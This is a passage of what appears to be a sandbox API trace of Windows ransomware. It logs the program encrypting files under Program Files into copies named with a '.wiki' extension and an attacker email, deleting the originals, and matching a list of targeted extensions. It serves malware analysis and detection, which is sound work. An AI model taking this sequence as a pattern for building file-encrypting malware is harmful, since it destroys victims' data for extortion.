lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0054.880] GetLastError () returned 0x0 [0054.880] ReadFile (in: hFile=0x1f0, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x328fed4*=0x6c9, lpOverlapped=0x0) returned 1 [0055.033] WriteFile (in: hFile=0x218, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x6d0, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x328fc9c*=0x6d0, lpOverlapped=0x0) returned 1 [0055.035] ReadFile (in: hFile=0x1f0, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0055.035] WriteFile (in: hFile=0x218, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x328fc9c*=0xea, lpOverlapped=0x0) returned 1 [0055.035] SetEndOfFile (hFile=0x218) returned 1 [0055.035] CloseHandle (hObject=0x218) returned 1 [0055.036] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.036] SetEndOfFile (hFile=0x1f0) returned 1 [0055.036] CloseHandle (hObject=0x1f0) returned 1 [0055.036] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0055.037] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\preview.gif")) returned 1 [0055.037] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF") returned 76 [0055.037] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF") returned 76 [0055.037] lstrlenW (lpString=".doc") returned 4 [0055.037] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0055.037] lstrlenW (lpString=".docx") returned 5 [0055.037] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0055.037] lstrlenW (lpString=".pdf") returned 4 [0055.037] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0055.037] lstrlenW (lpString=".xls") returned 4 [0055.037] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0055.037] lstrlenW (lpString=".xlsx") returned 5 [0055.037] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0055.037] lstrlenW (lpString=".ppt") returned 4 [0055.037] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0055.037] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF") returned 76 [0055.037] lstrlenW (lpString=".zip") returned 4 [0055.037] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0055.037] lstrlenW (lpString=".rar") returned 4 [0055.037] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0055.037] lstrlenW (lpString=".bz2") returned 4 [0055.037] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0055.037] lstrlenW (lpString=".7z") returned 3 [0055.037] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0055.037] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF") returned 76 [0055.038] lstrlenW (lpString=".dbf") returned 4 [0055.038] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0055.038] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF") returned 76 [0055.038] lstrlenW (lpString=".1cd") returned 4 [0055.038] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0055.038] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF") returned 76 [0055.038] lstrlenW (lpString=".jpg") returned 4 [0055.038] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0055.038] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF") returned 76 [0055.038] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF") returned 76 [0055.038] lstrlenW (lpString=".doc") returned 4 [0055.038] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0055.038] lstrlenW (lpString=".docx") returned 5 [0055.038] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0055.038] lstrlenW (lpString=".pdf") returned 4 [0055.038] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0055.038] lstrlenW (lpString=".xls") returned 4 [0055.038] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0055.038] lstrlenW (lpString=".xlsx") returned 5 [0055.038] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0055.038] lstrlenW (lpString=".ppt") returned 4 [0055.038] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0055.038] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF") returned 76 [0055.038] lstrlenW (lpString=".zip") returned 4 [0055.038] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0055.038] lstrlenW (lpString=".rar") returned 4 [0055.038] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0055.038] lstrlenW (lpString=".bz2") returned 4 [0055.038] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0055.039] lstrlenW (lpString=".7z") returned 3 [0055.039] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0055.039] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF") returned 76 [0055.039] lstrlenW (lpString=".dbf") returned 4 [0055.039] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0055.039] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF") returned 76 [0055.039] lstrlenW (lpString=".1cd") returned 4 [0055.039] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0055.039] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF") returned 76 [0055.039] lstrlenW (lpString=".jpg") returned 4 [0055.039] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0055.039] lstrcmpiW (lpString1=".GIF", lpString2=".wiki") returned -1 [0055.039] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0055.039] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0055.039] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=1675) returned 1 [0055.039] CloseHandle (hObject=0x1f0) returned 1 [0055.039] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\preview.gif")) returned 0x20 [0055.040] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\preview.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0055.040] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0055.040] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.040] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.040] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\preview.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0055.339] GetLastError () returned 0x0 [0055.339] ReadFile (in: hFile=0x1f0, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x328fed4*=0x68b, lpOverlapped=0x0) returned 1 [0055.346] WriteFile (in: hFile=0x1fc, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x690, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x328fc9c*=0x690, lpOverlapped=0x0) returned 1 [0055.347] ReadFile (in: hFile=0x1f0, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0055.347] WriteFile (in: hFile=0x1fc, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x328fc9c*=0xea, lpOverlapped=0x0) returned 1 [0055.347] SetEndOfFile (hFile=0x1fc) returned 1 [0055.347] CloseHandle (hObject=0x1fc) returned 1 [0055.347] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.347] SetEndOfFile (hFile=0x1f0) returned 1 [0055.348] CloseHandle (hObject=0x1f0) returned 1 [0055.348] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0055.348] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\preview.gif")) returned 1 [0055.349] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74 [0055.349] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74 [0055.349] lstrlenW (lpString=".doc") returned 4 [0055.349] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0055.349] lstrlenW (lpString=".docx") returned 5 [0055.349] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0055.349] lstrlenW (lpString=".pdf") returned 4 [0055.349] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0055.349] lstrlenW (lpString=".xls") returned 4 [0055.349] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0055.349] lstrlenW (lpString=".xlsx") returned 5 [0055.349] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0055.349] lstrlenW (lpString=".ppt") returned 4 [0055.349] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0055.349] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74 [0055.349] lstrlenW (lpString=".zip") returned 4 [0055.349] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0055.349] lstrlenW (lpString=".rar") returned 4 [0055.349] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0055.349] lstrlenW (lpString=".bz2") returned 4 [0055.349] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0055.349] lstrlenW (lpString=".7z") returned 3 [0055.349] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0055.349] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74 [0055.349] lstrlenW (lpString=".dbf") returned 4 [0055.349] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0055.349] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74 [0055.349] lstrlenW (lpString=".1cd") returned 4 [0055.349] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0055.349] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74 [0055.349] lstrlenW (lpString=".jpg") returned 4 [0055.350] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0055.350] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74 [0055.350] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74 [0055.350] lstrlenW (lpString=".doc") returned 4 [0055.350] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0055.350] lstrlenW (lpString=".docx") returned 5 [0055.350] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0055.350] lstrlenW (lpString=".pdf") returned 4 [0055.350] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0055.350] lstrlenW (lpString=".xls") returned 4 [0055.350] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0055.350] lstrlenW (lpString=".xlsx") returned 5 [0055.350] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0055.350] lstrlenW (lpString=".ppt") returned 4 [0055.350] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0055.350] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74 [0055.350] lstrlenW (lpString=".zip") returned 4 [0055.350] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0055.350] lstrlenW (lpString=".rar") returned 4 [0055.350] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0055.350] lstrlenW (lpString=".bz2") returned 4 [0055.350] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0055.350] lstrlenW (lpString=".7z") returned 3 [0055.350] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0055.350] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74 [0055.350] lstrlenW (lpString=".dbf") returned 4 [0055.351] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0055.351] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74 [0055.351] lstrlenW (lpString=".1cd") returned 4 [0055.351] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0055.351] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74 [0055.351] lstrlenW (lpString=".jpg") returned 4 [0055.351] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0055.351] lstrcmpiW (lpString1=".CHM", lpString2=".wiki") returned -1 [0055.351] lstrlenW (lpString="FM20.CHM") returned 8 [0055.351] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\fm20.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0055.352] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=334427) returned 1 [0055.352] CloseHandle (hObject=0x1f0) returned 1 [0055.352] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\fm20.chm")) returned 0x20 [0055.352] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\fm20.chm.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0055.352] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\fm20.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0055.352] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.352] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.352] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\fm20.chm.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0055.353] GetLastError () returned 0x0 [0055.353] ReadFile (in: hFile=0x1f0, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x328fed4*=0x51a5b, lpOverlapped=0x0) returned 1 [0055.361] WriteFile (in: hFile=0x1fc, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x51a60, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x328fc9c*=0x51a60, lpOverlapped=0x0) returned 1 [0055.369] ReadFile (in: hFile=0x1f0, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0055.369] WriteFile (in: hFile=0x1fc, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x328fc9c*=0xe4, lpOverlapped=0x0) returned 1 [0055.369] SetEndOfFile (hFile=0x1fc) returned 1 [0055.370] CloseHandle (hObject=0x1fc) returned 1 [0055.370] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.370] SetEndOfFile (hFile=0x1f0) returned 1 [0055.373] CloseHandle (hObject=0x1f0) returned 1 [0055.373] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0055.373] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\fm20.chm")) returned 1 [0055.373] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM") returned 69 [0055.373] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM") returned 69 [0055.373] lstrlenW (lpString=".doc") returned 4 [0055.373] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0055.373] lstrlenW (lpString=".docx") returned 5 [0055.374] lstrcmpiW (lpString1=".docx", lpString2="0.CHM") returned -1 [0055.374] lstrlenW (lpString=".pdf") returned 4 [0055.374] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0055.374] lstrlenW (lpString=".xls") returned 4 [0055.374] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0055.374] lstrlenW (lpString=".xlsx") returned 5 [0055.374] lstrcmpiW (lpString1=".xlsx", lpString2="0.CHM") returned -1 [0055.374] lstrlenW (lpString=".ppt") returned 4 [0055.374] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0055.374] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM") returned 69 [0055.374] lstrlenW (lpString=".zip") returned 4 [0055.374] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0055.374] lstrlenW (lpString=".rar") returned 4 [0055.374] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0055.374] lstrlenW (lpString=".bz2") returned 4 [0055.374] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0055.374] lstrlenW (lpString=".7z") returned 3 [0055.374] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0055.374] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM") returned 69 [0055.374] lstrlenW (lpString=".dbf") returned 4 [0055.374] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0055.374] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM") returned 69 [0055.374] lstrlenW (lpString=".1cd") returned 4 [0055.374] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0055.374] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM") returned 69 [0055.374] lstrlenW (lpString=".jpg") returned 4 [0055.374] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0055.374] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM") returned 69 [0055.374] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM") returned 69 [0055.374] lstrlenW (lpString=".doc") returned 4 [0055.374] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0055.374] lstrlenW (lpString=".docx") returned 5 [0055.374] lstrcmpiW (lpString1=".docx", lpString2="0.CHM") returned -1 [0055.374] lstrlenW (lpString=".pdf") returned 4 [0055.374] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0055.375] lstrlenW (lpString=".xls") returned 4 [0055.375] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0055.375] lstrlenW (lpString=".xlsx") returned 5 [0055.375] lstrcmpiW (lpString1=".xlsx", lpString2="0.CHM") returned -1 [0055.375] lstrlenW (lpString=".ppt") returned 4 [0055.375] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0055.375] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM") returned 69 [0055.375] lstrlenW (lpString=".zip") returned 4 [0055.375] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0055.375] lstrlenW (lpString=".rar") returned 4 [0055.375] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0055.375] lstrlenW (lpString=".bz2") returned 4 [0055.375] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0055.375] lstrlenW (lpString=".7z") returned 3 [0055.375] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0055.375] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM") returned 69 [0055.375] lstrlenW (lpString=".dbf") returned 4 [0055.375] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0055.375] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM") returned 69 [0055.375] lstrlenW (lpString=".1cd") returned 4 [0055.375] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0055.375] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM") returned 69 [0055.375] lstrlenW (lpString=".jpg") returned 4 [0055.375] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0055.375] lstrcmpiW (lpString1=".CHM", lpString2=".wiki") returned -1 [0055.375] lstrlenW (lpString="VBCN6.CHM") returned 9 [0055.375] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbcn6.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0055.376] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=109718) returned 1 [0055.376] CloseHandle (hObject=0x1f0) returned 1 [0055.376] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbcn6.chm")) returned 0x20 [0055.376] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbcn6.chm.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0055.376] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbcn6.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0055.376] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.376] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.376] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft 